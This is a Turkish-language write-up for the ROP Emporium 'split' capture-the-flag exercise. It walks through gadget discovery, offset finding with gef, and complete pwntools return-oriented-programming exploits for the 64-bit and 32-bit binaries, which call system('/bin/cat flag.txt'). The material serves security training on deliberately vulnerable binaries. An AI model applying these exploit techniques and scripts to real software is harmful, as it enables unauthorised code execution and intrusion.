Rop Emporium split WRITEUP
Rop Emporium split WRITEUP
Merhabalar. Ropemporium sorularına devam ediyorum. Bu yazımda split
sorusunu inceleyeceğiz.
Açıklama
Sorunun açıklamasını okuduğumuzda flag.txt dosyasını yazdırmamız gerektiğini söylüyor. Aynı şekilde binary dosyası içerisinde "/bin/cat flag.txt"
stringinin bulunduğunu ve system fonksiyonunu bu parametre ile çağırmamız gerektiğini öğreniyoruz.
64 Bit
Öncelikle sorunun 64 bit sürümünden başlayacağım. 64 bit binary dosyalarını incelerken şunları aklımızda bulundurmalıyız. Bu maddeler 32 bit ve 64 bit mimarileri arasındaki temel farklardır.
- Geran amaçlı register ler 64 bite uzatılmıştır. Aynı zamanda sık kullanacağımız registerler şu şekildedir: RAX, RBX, RCX, RDX, RSI, RDI.
- Instruction pointer, base pointer ve stack pointer değerleride 64 bite uzatılmıştır. Bu registerlerin isimleri sırasıyla şu şekildedir: RIP, RBP, RSP.
- Pointer lar 8 byte (64 bit) uzunluğundadır.
- Stack üzerindeki push ve pop işlemleri 8 byte uzunluğundadır.
- 64 bit sistemlerde max adres
0x00007FFFFFFFFFFF
dir. Bu değerden büyük bir adresi RIP üzerine yazılamaz. - Fonksiyon parametreleri registerlara geçirilir. Sırası ile bu registerlar RDI, RSI, RDX, RSX, R8, R9. Eğer parametre sayısı 6 dan fazla ise bu durumda 6 dan sonraki parametreler stacke kaydedilir.
Bu maddeleri aklınızdan çıkarmayın. İhtiyacınız olacak.
Şimdi ise binary dosyasını incelemeye başlayalım. checksec
ile başlıyorum.
$ checksec split
[*] '/home/hello/CTF/rop/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Dikkat ederseniz NX (Not Executable) biti etkin. Yani stack üzerindeki hiç bir yer çalıştırılabilir değil. Yani stack üzerine shellcode yerleştirip çalıştıramayız.
Bu durumda program içerisinde mevcut olan komutları kullanacağız. Daha açık bir ifade ile gadget ları kullanacağız. Peki gadget nedir? Gadget son komutu (genellikle) ret
ile biten küçük programlardır. Çoğunlukla bir kaç makine komutundan oluşurlar.
Peki program içerisindeki gadgetleri nasıl bulacağız. Bunun için ROPGadget
ve ropper
gibi araçlar var. Ben bu yazı boyunca ropper
kullanacağım. Hemen bir örnek üzerinden split dosyasındaki gadget lere bakalım.
$ ropper -f split
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x00000000004006a2: adc byte ptr [rax], ah; jmp rax;
0x000000000040088f: add bl, dh; ret;
......................................
0x00000000004006b0: pop rbp; ret;
0x0000000000400883: pop rdi; ret;
0x0000000000400815: nop; pop rbp; ret;
0x0000000000400804: nop; leave; ret;
0x00000000004005b9: ret;
91 gadgets found
Komutun asıl çıktısı çok uzun olduğu için ben bir kısmını kestim. Gördüğünüz üzere gadget lar bir kaç makine komutundan oluşuyor ve genellikle ret ile sonlanıyorlar. Bu küçük programlar sayesinde stack üzerine veri yazabilir, bellekte herhangi bir yere veri yazabilir, register değerlerini değiştirebilir, fonksiyon çağırabilir, bir fonksiyondan geri dönebilir ve daha fazla işlem yaparak programın akışını değiştirebiliriz.
Bir örnek vermek gerekirse pop rdi; ret;
gadgeti ile stack üzerindeki bir veriyi rdi registerine yazabiliriz. Yada call rax;
gadgeti kullanarak rax registerine kaydedilen adresteki fonksiyonu çağırabiliriz.
Şimdi programımızı çalıştıralım.
$ ./split
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> asdf
Exiting
Basit bir şekilde input alıp sonlanıyor. Şimdi gdb ile daha detaylı inceleyelim.
Ben gdb eklendisi olarak gef kullanıyorum. gef exploit geliştirme konusunda oldukça işimize yarayan bir gdb eklentisi. Sağladığı bir çok özellik ile işimizi oldukça kolaylaştıracaktır. Şiddetle tavsiye edilir :) Şu adrese giderek kendi bilgisayarınıza kurabilirsiniz: Gef Github
Programı çalıştırdıktan sonra yüklü miktarda A karakteri girerek programın crach olmasını sağlıyorum. Ve sonuç:
gef➤ r
Starting program: /home/hello/CTF/rop/split/split
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400806 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdc00 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
............................................................................................
$rip : 0x0000000000400806 → <pwnme+81> ret
............................................................................................
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdc28│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rsp
............................................................................................
0x00007fffffffdc58│+0x0030: 0x0041414141414141 ("AAAAAAA"?)
0x00007fffffffdc60│+0x0038: 0x0000000000400820 → <__libc_csu_init+0> push r15
─────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4007ff <pwnme+74> call 0x400620 <fgets@plt>
0x400804 <pwnme+79> nop
0x400805 <pwnme+80> leave
→ 0x400806 <pwnme+81> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x400806 in pwnme (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400806 → pwnme()
Bu noktada dikkat ederseniz RIP registeri 0x414141 gibi bir değer almamış. Biz ne demiştik? 64 bit sistemlerde en büyük adres 0x00007FFFFFFFFFFF
olabilir. Yani bir RIP register değerini 0x4141414141414141
gibi bir değer ile değiştirmeyi denersek program bu noktada doğrudan segfoult hatası verecektir. Çünkü bu kadar büyük bir adresin olması mümkün değildir.
Peki biz bu noktada RIP değerine kadar olan offseti sanıl bulacağız. Hatırlarsanız RSP değerinin hemen yukarısındaki değer fonksiyonların dönüş adresiydi. Yani biz rsp değerine kadar olan kısmın offsetini bulursak sorunumuzu çözmüş oluruz. Hemen deneyelim.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/hello/CTF/rop/split/split
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400806 in pwnme ()
............................................................................
............................................................................
gef➤ x $rsp
0x7fffffffdc28: 0x6161616161616166
gef➤ pattern offset 0x6161616161616166
[+] Searching '0x6161616161616166'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)
Evet offset değerimiz 40. Çünkü intel işlemcileri little endian yapısındadır.
Diğer bir önemli nokta ise soruda belirtilen usefulString
ve usefulFunction
adreslerini bulmak. Gdb ile bunu hemen bulabiliriz.
Öncelikle usefulString
ile başlıyorum. Programı çalıştırdıktan sonra breakpoint ile bir yerde durduğunuzda info var [name]
komutunu girerek usefulString
değişkeninin bulunduğu adresi öğrenebiliriz. Ardından doğrulama için x/s
ile yazdırıyorum.
gef➤ info var usefulString
All variables matching regular expression "usefulString":
Non-debugging symbols:
0x0000000000601060 usefulString
gef➤ x/s 0x0000000000601060
0x601060 <usefulString>: "/bin/cat flag.txt"
Şimdi ise usefulFunction
fonksiyonunu inceleyelim. gdb ile disassamble ederek kodu inceliyorum.
gef➤ disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400807 <+0>: push rbp
0x0000000000400808 <+1>: mov rbp,rsp
0x000000000040080b <+4>: mov edi,0x4008ff
0x0000000000400810 <+9>: call 0x4005e0 <system@plt>
0x0000000000400815 <+14>: nop
0x0000000000400816 <+15>: pop rbp
0x0000000000400817 <+16>: ret
End of assembler dump.
Dikkat ederseniz system
fonksiyonunu görüyoruz. Bu fonksiyon ise 0x0000000000400810
adresinde çağırılıyor. Bu fonksiyonu çağırarak "/bin/cat flag.txt"
stringi ile flag değerini yazdırabiliriz.
Hatırlarsanız 64 bit sistemlerde fonksiyon parametreleri registerlara kaydedilirdi. system
fonksiyonu 1 parametre aldığına göre bu değer rdi registerine kaydedilecek. Yani biz system
fonksiyonunu çağırmak istersek parametresini rdi registerine yazmamız gerekecek.
Bu işlemi için ropper
ile binary dosyasındaki gadget
lara bakalım.
$ ropper -f split
.................................
0x0000000000400883: pop rdi; ret;
.................................
RDI registerine değer yazmamız için gerekli gadgetı bulmuş olduk.
Artık gerekli bütün bilgiye sahibiz. Exploiti yazmaya başlayalım. Öncelikle gerekli kütüphaneleri import edelim ve ardından gerekli tanımlamaları yapalım.
from pwn import *
system = 0x400810
pop_rdi = 0x400883 # pop rdi; ret;
userful_string = 0x601060
Buffer boyutumuz 40 byte uzunluğundaydı. O zaman bufferı dolduralım.
rop = b"A"*40
Şimdi gireceğimiz adres/değer RIP registerini değiştirecek. Yani programımızın fonksiyondan döneceği adresi. Hatırlayın amacımız system(usefulString)
şeklinde bir fonksiyon çağrısı yapmak. O zaman önce RDI registerine usefulString değerini yazmamız gerekiyor.
rop += p64(pop_rdi)
rop += p64(userful_string)
Artık RDI registerinde usefulString
olduğuna göre system fonksiyonunu çağırabiliriz.
rop += p64(system)
Bu şekilde gerekli payloadı oluşturmuş olduk. Artık bu payloadı programa input olarak göndermek kaldı. Full exploit kodu şu şekilde:
from pwn import *
system = 0x0000000000400810
pop_rdi = 0x0000000000400883 # pop rdi; ret;
userful_string = 0x0000000000601060
rop = b"A"*40
rop += p64(pop_rdi)
rop += p64(userful_string)
rop += p64(system)
p = process("./split")
p.sendline(rop)
p.interactive()
Ve exploiti çalıştıralım.
┌─[hello@ASUSPRO]─[~/CTF/rop/split]
└──╼ $ python3 split.py
[+] Starting local process './split': pid 18572
[*] Switching to interactive mode
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
Bu şekilde 64 bit sürümü başarıyla tamamladık.
32 Bit
Şimdi 32 bit sürümünü inceleyelim. checksec ile başlıyorum.
$ checksec split32
[*] '/home/hello/CTF/rop/split32/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
64 bit sürümündeki gibi NX biti etkin. Yani stack üzerindeki hiç bir yer çalıştırılabilir değil.
Programın çalıştırılma şekli ve çıktısı 64 bit sürümü ile aynı olduğu için doğrudan stack offset değerini bulmaya geçiyorum.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/hello/CTF/rop/split32/split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
......................................................................
gef➤ pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)
Öncelikle 100 karakterlik pattern oluşturuyorum. Ardından bu patterni programa girdi olarak vererek crash olmasını sağlıyorum. Ardından eip registerine bakarak offset değerini buluyorum. İntel işlemciler little endian olduğu için offset değerimizi yukarıdaki çıktıdan 44 byte olduğunu görüyoruz.
Şimdi usefulString
adresini bulalım ve usefulFunction
fonksiyonunu inceleyelim.
gef➤ info var usefulString
All variables matching regular expression "usefulString":
Non-debugging symbols:
0x0804a030 usefulString
Buradan usefulString
adresini 0x0804a030
olarak öğrendik.
gef➤ disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x08048649 <+0>: push ebp
0x0804864a <+1>: mov ebp,esp
0x0804864c <+3>: sub esp,0x8
0x0804864f <+6>: sub esp,0xc
0x08048652 <+9>: push 0x8048747
0x08048657 <+14>: call 0x8048430 <system@plt>
0x0804865c <+19>: add esp,0x10
0x0804865f <+22>: nop
0x08048660 <+23>: leave
0x08048661 <+24>: ret
End of assembler dump.
Buradan ise system
fonksiyonunun adresini 0x08048657
olduğunu görüyoruz.
Şimdi ise exploitimizi oluşturmaya başlayalım. Önce gerekli kütüphaneler ve tanımlamalar.
from pwn import *
system = 0x08048657
useful_string = 0x0804a030
Offset değerimiz 44 idi.
rop = b"A" * 44
32 bit sistemlerde fonksiyon parametreleri stack üzerine yazılıyordu. system fonksiyonu 1 parametre alır ve bizim bu değeri stack üzerine yazmamız gerekiyor.
rop += p32(system)
rop += p32(useful_string)
Payloadımız bu şekilde. Full exploit kodu:
from pwn import *
system = 0x08048657
useful_string = 0x0804a030
rop = b"A" * 44
rop += p32(system)
rop += p32(useful_string)
p = process("./split32")
p.sendline(rop)
p.interactive()
Çalıştıralım.
$ python3 e.py
[+] Starting local process './split32': pid 43954
[*] Switching to interactive mode
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './split32' stopped with exit code -11 (SIGSEGV) (pid 43954)
[*] Got EOF while sending in interactive
EOF
Bu şekilde bu yazıyıda tamamladık. Sonraki yazıda görüşmek üzere …